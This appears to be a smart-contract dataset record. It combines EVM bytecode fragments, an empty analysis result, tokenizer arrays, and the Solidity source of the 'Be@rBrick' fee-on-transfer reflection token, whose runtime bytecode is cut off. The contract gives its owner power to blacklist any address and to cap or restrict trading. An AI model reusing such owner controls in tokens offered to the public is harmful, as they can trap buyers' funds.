405180910390fd5b600081116113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990611e40565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114555750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114a05760095481111561149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690611ea0565b60405180910390fd5b5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115415750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561159d5760001515600360009054906101000a900460ff1615151461159c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159390611f20565b60405180910390fd5b5b60011515600360009054906101000a900460ff161515148061160c5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116645750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561180857611674838383611a2e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190611e80565b60405180910390fd5b81816117069190612028565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117969190611fd2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117fa9190611f80565b60405180910390a35061185f565b60011515600360009054906101000a900460ff1615151461185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590611f20565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb90611ee0565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561195a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195190611e20565b60405180910390fd5b816004546119689190612028565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546119bc9190612028565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a219190611f80565b60405180910390a3505050565b505050565b600081359050611a4281612516565b92915050565b600081359050611a578161252d565b92915050565b600060208284031215611a6f57600080fd5b6000611a7d84828501611a33565b91505092915050565b60008060408385031215611a9957600080fd5b6000611aa785828601611a33565b9250506020611ab885828601611a33565b9150509250929050565b600080600060608486031215611ad757600080fd5b6000611ae586828701611a33565b9350506020611af686828701611a33565b9250506040611b0786828701611a48565b9150509250925092565b60008060408385031215611b2457600080fd5b6000611b3285828601611a33565b9250506020611b4385828601611a48565b9150509250929050565b600060208284031215611b5f57600080fd5b6000611b6d84828501611a48565b91505092915050565b611b7f8161206e565b82525050565b6000611b9082611fb6565b611b9a8185611fc1565b9350611baa8185602086016120b1565b611bb381612174565b840191505092915050565b6000611bcb602383611fc1565b9150611bd682612185565b604082019050919050565b6000611bee601f83611fc1565b9150611bf9826121d4565b602082019050919050565b6000611c11602283611fc1565b9150611c1c826121fd565b604082019050919050565b6000611c34602983611fc1565b9150611c3f8261224c565b604082019050919050565b6000611c57602283611fc1565b9150611c628261229b565b604082019050919050565b6000611c7a602683611fc1565b9150611c85826122ea565b604082019050919050565b6000611c9d602883611fc1565b9150611ca882612339565b604082019050919050565b6000611cc0602883611fc1565b9150611ccb82612388565b604082019050919050565b6000611ce3602183611fc1565b9150611cee826123d7565b604082019050919050565b6000611d06602583611fc1565b9150611d1182612426565b604082019050919050565b6000611d29600083611fc1565b9150611d3482612475565b600082019050919050565b6000611d4c602483611fc1565b9150611d5782612478565b604082019050919050565b6000611d6f602583611fc1565b9150611d7a826124c7565b604082019050919050565b611d8e8161209a565b82525050565b611d9d816120a4565b82525050565b6000602082019050611db86000830184611b76565b92915050565b60006020820190508181036000830152611dd88184611b85565b905092915050565b60006020820190508181036000830152611df981611bbe565b9050919050565b60006020820190508181036000830152611e1981611be1565b9050919050565b60006020820190508181036000830152611e3981611c04565b9050919050565b60006020820190508181036000830152611e5981611c27565b9050919050565b60006020820190508181036000830152611e7981611c4a565b9050919050565b60006020820190508181036000830152611e9981611c6d565b9050919050565b60006020820190508181036000830152611eb981611c90565b9050919050565b60006020820190508181036000830152611ed981611cb3565b9050919050565b60006020820190508181036000830152611ef981611cd6565b9050919050565b60006020820190508181036000830152611f1981611cf9565b9050919050565b60006020820190508181036000830152611f3981611d1c565b9050919050565b60006020820190508181036000830152611f5981611d3f565b9050919050565b60006020820190508181036000830152611f7981611d62565b9050919050565b6000602082019050611f956000830184611d85565b92915050565b6000602082019050611fb06000830184611d94565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611fdd8261209a565b9150611fe88361209a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561201d5761201c612116565b5b828201905092915050565b60006120338261209a565b915061203e8361209a565b92508282101561205157612050612116565b5b828203905092915050565b60006120678261207a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156120cf5780820151818401526020810190506120b4565b838111156120de576000848401525b50505050565b600060028204905060018216806120fc57607f821691505b602082108114156121105761210f612145565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206f6e6c7920746865206f776e657220616c6c6f77656400600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61251f8161205c565b811461252a57600080fd5b50565b6125368161209a565b811461254157600080fd5b5056fea2646970667358221220f7018e8beef041539d114d695f31dc58382a3934e8de7a1c556015db5a6c886b64736f6c63430008030033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 17134, 2063, 2475, 2094, 2683, 2575, 16048, 26976, 2575, 2683, 2278, 2581, 2509, 2546, 21057, 2497, 2692, 2278, 10790, 2683, 2549, 2546, 24087, 20952, 2509, 6679, 2546, 12521, 1013, 1008, 1008, 1012, 1012, 1012, 1012, 1001, 1001, 1001, 1012, 1012, 1012, 1012, 1001, 1001, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1001, 1001, 1001, 1001, 1012, 1001, 1001, 1001, 1001, 1001, 1001, 1001, 1001, 1012, 1001, 1001, 1012, 1012, 1012, 1012, 1001, 1001, 1012, 1001, 1001, 1012, 1012, 1012, 1012, 1012, 1001, 1001, 1012, 1012, 1012, 1001, 1001, 1012, 1001, 1001, 1012, 1012, 1012, 1001, 1001, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1001, 1001, 1012, 1012, 1001, 1001, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1001, 1001, 1001, 1012, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,166
0x96516267a9a5cdf2920b08bdf28ec8dcb36af7a9
/** /* ,,*/////////*,, .**/////////**, /* ,*//***/////////**, .*//////////**//**, /* .,******//////////*,, *///////////******** /* *,*******/////////**,.. ,*///////////******,, /* ,**,***/////////**, .............,,///////////***,,,* /* .,**************,,. ...................,,,,,,,,,,,,,,,*************,,,* /* ,,,,,,,,,. .,,..............,,,,,,,,,,,,,,,,,****,,,,,,,,,,,. .,,,,,* /* /*,.... .........,.,,,,,,,,,,,,,,,************,,,*,,,.. ,** /* //*,,,,,,,.....,,,,,,,,,,,,,,,,,****************,,,*,,,,,,**/ /* *///.....,,,,,,,,,,,,,,,,,,,,**************,**///*. /* ,,,,,,,,,,,,,,,,,,,,,,,******************** /* ,,,,,,,,,,,,,,,,,,,,,,,,,,,,*************** /* ,,,,.,,..... ......,,,********. /* ,........ ....,,,,,****** /* ........... .. ......,,,,,,,,,*** /* *................../****////,,,,,,,,,,,,,,,*,* /* .....,,,,,,,,,,,,,,,*************************** /* ,,,,,,,,,,***,,,*********/////****************** /* *** *************////////////////////***......** /* /* .****///////////////////////////***,.....** /* .**..///////////////////////////*//*/*,....,* /* *//**************////****************** /* ********************************** /* ************************ BE@R BRICK FANS CLUB T.me/BearBrickToken www.BearBrickFansClub.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BearBrick is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Be@rBrickFansClub T.me/BearBrickToken"; string private constant _symbol = "Be@rBrick"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 4; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 4; _teamFee = 4; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 25000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e56565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061295d565b610441565b6040516101789190612e3b565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612ff8565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061290a565b61046f565b6040516101e09190612e3b565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612870565b610548565b005b34801561021e57600080fd5b50610227610638565b604051610234919061306d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129e6565b610641565b005b34801561027257600080fd5b5061027b6106f3565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612870565b610765565b6040516102b19190612ff8565b60405180910390f35b3480156102c657600080fd5b506102cf6107b6565b005b3480156102dd57600080fd5b506102e6610909565b6040516102f39190612d6d565b60405180910390f35b34801561030857600080fd5b50610311610932565b60405161031e9190612e56565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061295d565b61096f565b60405161035b9190612e3b565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061299d565b61098d565b005b34801561039957600080fd5b506103a2610ab7565b005b3480156103b057600080fd5b506103b9610b31565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b61108b565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ca565b6111d3565b6040516104189190612ff8565b60405180910390f35b606060405180606001604052806025815260200161377460259139905090565b600061045561044e61125a565b8484611262565b6001905092915050565b6000670de0b6b3a7640000905090565b600061047c84848461142d565b61053d8461048861125a565b6105388560405180606001604052806028815260200161379960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ee61125a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bec9092919063ffffffff16565b611262565b600190509392505050565b61055061125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490612f38565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064961125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd90612f38565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073461125a565b73ffffffffffffffffffffffffffffffffffffffff161461075457600080fd5b600047905061076281611c50565b50565b60006107af600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4b565b9050919050565b6107be61125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084290612f38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f42654072427269636b0000000000000000000000000000000000000000000000815250905090565b600061098361097c61125a565b848461142d565b6001905092915050565b61099561125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1990612f38565b60405180910390fd5b60005b8151811015610ab3576001600a6000848481518110610a4757610a466133b5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aab9061330e565b915050610a25565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af861125a565b73ffffffffffffffffffffffffffffffffffffffff1614610b1857600080fd5b6000610b2330610765565b9050610b2e81611db9565b50565b610b3961125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd90612f38565b60405180910390fd5b600f60149054906101000a900460ff1615610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612fb8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611262565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ceb57600080fd5b505afa158015610cff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d23919061289d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8557600080fd5b505afa158015610d99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbd919061289d565b6040518363ffffffff1660e01b8152600401610dda929190612d88565b602060405180830381600087803b158015610df457600080fd5b505af1158015610e08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2c919061289d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb530610765565b600080610ec0610909565b426040518863ffffffff1660e01b8152600401610ee296959493929190612dda565b6060604051808303818588803b158015610efb57600080fd5b505af1158015610f0f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f349190612a6d565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506658d15e176280006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611035929190612db1565b602060405180830381600087803b15801561104f57600080fd5b505af1158015611063573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110879190612a13565b5050565b61109361125a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612f38565b60405180910390fd5b60008111611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612ef8565b60405180910390fd5b611191606461118383670de0b6b3a764000061204190919063ffffffff16565b6120bc90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111c89190612ff8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff